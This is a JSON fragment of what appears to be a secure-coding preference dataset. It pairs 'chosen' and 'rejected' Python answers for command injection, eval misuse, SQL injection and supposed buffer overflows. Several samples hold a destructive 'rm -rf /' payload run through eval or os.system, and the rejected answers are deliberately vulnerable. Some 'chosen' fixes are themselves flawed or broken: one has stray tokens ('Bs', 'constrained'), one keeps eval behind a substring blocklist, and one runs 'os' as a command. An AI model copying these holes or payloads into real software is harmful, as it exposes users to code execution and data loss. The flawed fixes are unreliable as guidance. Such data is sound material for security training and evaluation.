        "vulnerability": "Potential buffer overflow vulnerability in Python's input() function due to lack of input size checks.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a system command using the 'os' module.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command():\n    command = input(\"Enter your command: \")\n    if len(command) > 256:  # Set a reasonable limit for command length\n        print(\"Command too long\")\n        return\n    try:\n        subprocess.run(command, shell=True, check=True, timeout=10)\n    except subprocess.TimeoutExpired:\n        print(\"Command timed out\")\n    except subprocess.CalledProcessError as e:\n        print(f\"Command failed with error code {e.returncode}\")\n\nexecute_command()\n```",
        "rejected": "```python\nimport os\n\ndef execute_command():\n    command = input(\"Enter your command: \")\n    os.system(command)\n\nexecute_command()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can execute arbitrary code which poses a security risk as it does not validate or sanitize input.",
        "system": "",
        "question": "Write a python code that defines a function named 'unsafe_eval' which takes in a string 'user_input'. This function should use the built-in python function 'eval' to evaluate the 'user_input' as python code. If the 'user_input' is a string that, when evaluated, would execute a command to delete all files in the root directory of the system, then the function should execute this command. The function should return the result of the evaluation.",
        "chosen": "```python\ndef safe_eval(user_input):\n    # List of forbidden commands\n    forbidden_commands = ['rm -rf /', 'del /', 'rd /s /q']\n    \n    # Check if user_input is in the list of forbidden commands\n    if any(command in user_input for command in forbidden_commands):\n        raise ValueError(\"Forbidden command detected.\")\n    \n    # Evaluate the user_input\n    result = eval(user_input)\n    \n    return result\n\n# Testing the function\ntry:\n    print(safe_eval(\"2 + 2\"))  # This should work fine\n    print(safe_eval(\"__import__('os').system('rm -rf /')\"))  # This should raise an error\nexcept Exception as e:\n    print(e)\n```",
        "rejected": "```python\ndef unsafe_eval(user_input):\n    result = eval(user_input)\n    return result\n\nunsafe_eval(\"__import__('os').system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability can occur when a program writes more data into a buffer than it can handle, potentially overwriting adjacent memory.",
        "system": "",
        "question": "Write a python code that defines a class named 'Buffer'. The class should have an initializer method that takes one argument 'size' and creates a bytearray of size 'size'. It should also have a method named 'add_data' that takes one argument 'data'. If the length of 'data' is greater than 'size', the method should return False. Otherwise, it should replace the first 'size' bytes of the buffer with 'data' and return True.",
        "chosen": "```python\nclass Buffer:\n    def __init__(self, size):\n        self.size = size\n        self.data = bytearray(size)\n        self.index = 0\n\n    def add_data(self, data):\n        if len(data) > self.size - self.index:\n            return False\n        for i in range(len(data)):\n            self.data[self.index] = data[i]\n            self.index += 1\n        return True\n\nbuf = Buffer(10)\nbuf.add_data(bytearray(20))\nprint(buf.data)\n```",
        "rejected": "```python\nclass Buffer:\n    def __init__(self, size):\n        self.size = size\n        self.data = bytearray(size)\n\n    def add_data(self, data):\n        if len(data) > self.size:\n            return False\n        for i in range(len(data)):\n            self.data[i] = data[i]\n        return True\n\nbuf = Buffer(10)\nbuf.add_data(bytearray(20))\nprint(buf.data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential buffer overflow vulnerability in Python code can occur if an attacker provides input that exceeds the maximum size of a buffer.",
        "system": "",
        "question": "Write a python code that defines two functions, `process_input` and `main`. The function `process_input` takes an input `user_input`, creates a byte array `buffer` of size 1024. It then checks if the length of `user_input` is less than or equal to the length of `buffer`. If true, it replaces the content of `buffer` with `user_input`. If not, it prints 'Input too long'. The function `main` creates a byte array `user_input` of size 5000, calls `process_input` with `user_input` as argument and stores the returned value in `result`. Finally, it prints `result`.",
        "chosen": "```python\ndef process_input(user_input):\n    buffer = bytearray(1024)\n    input_length = len(user_input)\n    if input_length <= len(buffer):\n        buffer[:input_length] = user_input\n    else:Bs\n        raise ValueError(\"Input too long\")\n    return buffer\n\ndef main():\n    user_input = bytearray(5000)  # This will cause a buffer overflow\n    try:\n        result = process_input(user_input)\n        print(result)\n    except ValueError as e:\n        print(e)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef process_input(user_input):\n    buffer = bytearray(1024)\n    input_length = len(user_input)\n    if input_length <= len(buffer):\n        buffer[:input_length] = user_input\n    else:\n        print(\"Input too long\")\n    return buffer\n\ndef main():\n    user_input = bytearray(5000)  # This will cause a buffer overflow\n    result = process_input(user_input)\n    print(result)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Inadequate input validation in Python can lead to code injection attacks.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a command in the system using the 'os' module. The command should be 'ls' followed by the user'input.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    # Validate user input to prevent code injection\n    if any(char in user_input for char in [';', '&', '|', '>', '<', '$', '`', '(', ')', '{', '}', '?', '*', '[', ']', '\\\\', '^', '~', '\"', \"'\", '`']):\n        print(\"Invalid input. Please enter a valid command.\")\n        return\n    \n    command = [\"ls\", user_input]\n    try:\n        result = subprocess.run(command, capture_output=True, text=True)\n        print(result.stdout)\n    except Exception as e:\n        print(f\"Error executing command: {e}\")\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can lead to arbitrary code execution if used improperly.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a command. The user should be able to enter any python command or function call and the program will execute it.",
        "chosen": "```python\nimport ast\n\nclass UserInput:\n    def __init__(self):\n        self.user_input = input(\"Enter your command: \")\n\nclass CommandExecutor:\n    def execute(self, user_input):\n        tree = ast.parse(user_input, mode='single')\n        if not isinstance(tree.body[0], (ast.Expr, ast.Assign)):\n            raise ValueError('Invalid command')\n        elif isinstance(tree.body[0].value, ast.Call):\n            func = tree.body[0].value.func\n            if not isinstance(func, ast.Name) or func.id != 'print':\n                raise ValueError('Invalid command')\n        else:\n            raise ValueError('Invalid command')\n        # If no exception was raised, we can safely execute the command\n        exec(user_input)\n\ndef main():\n    user_input = UserInput().user_input\n    CommandExecutor().execute(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\nclass UserInput:\n    def __init__(self):\n        self.user_input = input(\"Enter your command: \")\n\nclass CommandExecutor:\n    def execute(self, user_input):\n        eval(user_input)\n\ndef main():\n    user_input = UserInput().user_input\n    CommandExecutor().execute(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python 'eval' function can execute arbitrary code, leading to potential security risks if used carelessly.",
        "system": "",
        "question": "Write a python code that imports the 'os' and 'sys' modules. Define a function named 'run_user_input'. This function should take user input, evaluate it using the 'eval' function, and execute it. Call this function at the end of your script.",
        "chosen": "```python\nimport ast\nimport os\nimport sys\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not (isinstance(node.func, ast.Name) and node.func.id in ['eval', 'exec']):\n            return self.generic_visit(node)\n        else:\n            raise ValueError('Eval and exec are not allowed')\n\ndef run_user_input():\n    user_input = input(\"Enter your command: \")\n    tree = ast.parse(user_input, mode='single')\n    RestrictedPython().visit(tree)\n    compiled = compile(tree, filename=\"<ast>\", mode=\"single\")\n    eval(compiled)\n\nrun_user_input()\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef run_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nrun_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python script running on a shared server may be vulnerable to a Denial of Service attack due to infinite recursion.",
        "system": "",
        "question": "Write a python code that defines a function called 'infinite_recursion' which takes an integer 'n' as input. If 'n' is greater than 0, the function should print 'Recursion number: ' followed by the value of 'n'. Then, it should pause execution for 1 second using the 'time.sleep()' function. Lastly, the function should call itself with 'n+1' as the argument, creating an infinite loop.",
        "chosen": "```python\nimport time\nimport sys\nsys.setrecursionlimit(3000)  # Set a higher recursion limit\n\ndef infinite_recursion(n):\n    if n > 0:\n        print(\"Recursion number: \", n)\n        time.sleep(1)  # This will make the function slower\n        infinite_recursion(n+1)  # This is the recursive call that will cause the function to call itself indefinitely\n\n# Call the function with a reasonable limit to avoid DoS\ninfinite_recursion(1000)\n```",
        "rejected": "```python\nimport time\n\ndef infinite_recursion(n):\n    if n > 0:\n        print(\"Recursion number: \", n)\n        time.sleep(1)  # This will make the function slower\n        infinite_recursion(n+1)  # This is the recursive call that will cause the function to call itself indefinitely\n\ninfinite_recursion(1)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python code might suffer from SQL injection attacks if it uses string formatting or concatenation to build SQL queries.",
        "system": "",
        "question": "Write a python code that connects to an SQLite database named 'user_data.db'. The code should have a function named 'login' which takes two parameters, 'username' and 'password'. This function should execute a SQL query to select all rows from the table 'users' where the 'username' matches the provided 'username' and the 'password' matches the provided 'password'. If any row is returned, the function should return True indicating a successful login. Otherwise, it should return False.",
        "chosen": "```python\nimport sqlite3\n\ndef login(username, password):\n    conn = sqlite3.connect('user_data.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    cursor.execute(query, (username, password))\n    result = cursor.fetchone()\n    return result is not None\n\nif __name__ == '__main__':\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    if login(username, password):\n        print(\"Login successful\")\n    else:\n        print(\"Login failed\")\n```",
        "rejected": "```python\nimport sqlite3\n\ndef login(username, password):\n    conn = sqlite3.connect('user_data.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    cursor.execute(query)\n    result = cursor.fetchone()\n    return result is not None\n\nif __name__ == '__main__':\n    username = input(\"Enter your username: \")\n    password = input(\"Enter your password: \")\n    if login(username, password):\n        print(\"Login successful\")\n    else: constrained\n        print(\"Login failed\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability in Python can occur when handling input from untrusted sources without proper validation or bounds checking.",
        "system": "",
        "question": "Write a python code that asks the user for their name and then prints a greeting message using their name.",
        "chosen": "```python\ndef get_user_input():\n    while True:\n        user_input = input(\"Enter your name: \")\n        if len(user_input) <= 20: # set a reasonable limit on user input length\n            return user_input\n        else:\n            print(\"Name is too long. Please enter a name less than 20 characters.\")\n\ndef print_user_info(user_name):\n    info = \"Hello, {0}!\".format(user_name)\n    print(info)\n\ndef main():\n    user_name = get_user_input()\n    print_user_info(user_name)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef get_user_input():\n    user_input = input(\"Enter your name: \")\n    return user_input\n\ndef print_user_info(user_name):\n    info = \"Hello, {0}!\".format(user_name)\n    print(info)\n\ndef main():\n    user_name = get_user_input()\n    print_user_info(user_name)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python script may be vulnerable to command injection attacks if it uses shell=True in subprocess.Popen without properly sanitizing inputs.",
        "system": "",
        "question": "Write a python code that imports the subprocess module. Define a function named 'execute_command' that takes a string argument 'user_input'. Inside this function, create a variable 'command' and assign it the value of 'user_input'. Create a subprocess using the 'subprocess.Popen' method, passing 'command' as an argument. Set the stdout and stderr parameters to 'subprocess.PIPE' and set shell to True. Use the 'communicate' method on the process object to get the output and error. Print the output.",
        "chosen": "```python\nimport shlex\nimport subprocess\n\ndef execute_command(user_input):\n    # Sanitize the user input\n    sanitized_input = shlex.split(user_input)\n    \n    # Validate the sanitized input\n    if len(sanitized_input) == 0:\n        print(\"Invalid command\")\n        return\n\n    try:\n        # Use subprocess.run instead of subprocess.Popen for simplicity and security\n        result = subprocess.run(sanitized_input, capture_output=True, text=True, check=True)\n        print(result.stdout)\n    except subprocess.CalledProcessError as e:\n        print(f\"Command execution failed: {e}\")\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = user_input\n    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n    output, error = process.communicate()\n    print(output)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability exists in Python's use of the eval() function, which can execute arbitrary code if it's used improperly without adequate input validation.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'run_command' which takes a string as an argument. This function should create a command string by concatenating 'os.' with the user input and then evaluate this command using the built-in eval() function. Finally, call this function with the argument 'system(\\'rm -rf /\\')'.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"os\", user_input]\n    subprocess.Popen(command)\n\nrun_command(\"system('rm -rf /')\")\n```",
        "rejected": "```python\nimport os\ndef run_command(user_input):\n    command = \"eval('os.\" + user_input + \"')\"\n    eval(command)\n\nrun_command(\"system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability caused by improper handling of string formatting.",
        "system": "",
        "question": "Write a python code that imports the 'os' module. Define a function named 'vulnerable_function' which takes an input 'user_input'. Inside this function, create a string variable 'command' which concatenates the string 'echo' with the user input and '> /dev/null'. Then use the 'os.system' function to execute this command. Finally, call the 'vulnerable_function' function with the argument 'This is a test'.",
        "chosen": "```python\nimport os\nimport shlex\n\ndef vulnerable_function(user_input):\n    command = \"echo \" + shlex.quote(user_input) + \" > /dev/null\"\n    os.system(command)\n\nvulnerable_function(\"This is a test\")\n```",
        "rejected": "```python\nimport os\n\ndef vulnerable_function(user_input):\n    command = \"echo %s > /dev/null\" % (user_input)\n    os.system(command)\n\nvulnerable_function(\"This is a test\")\n```"
    }
]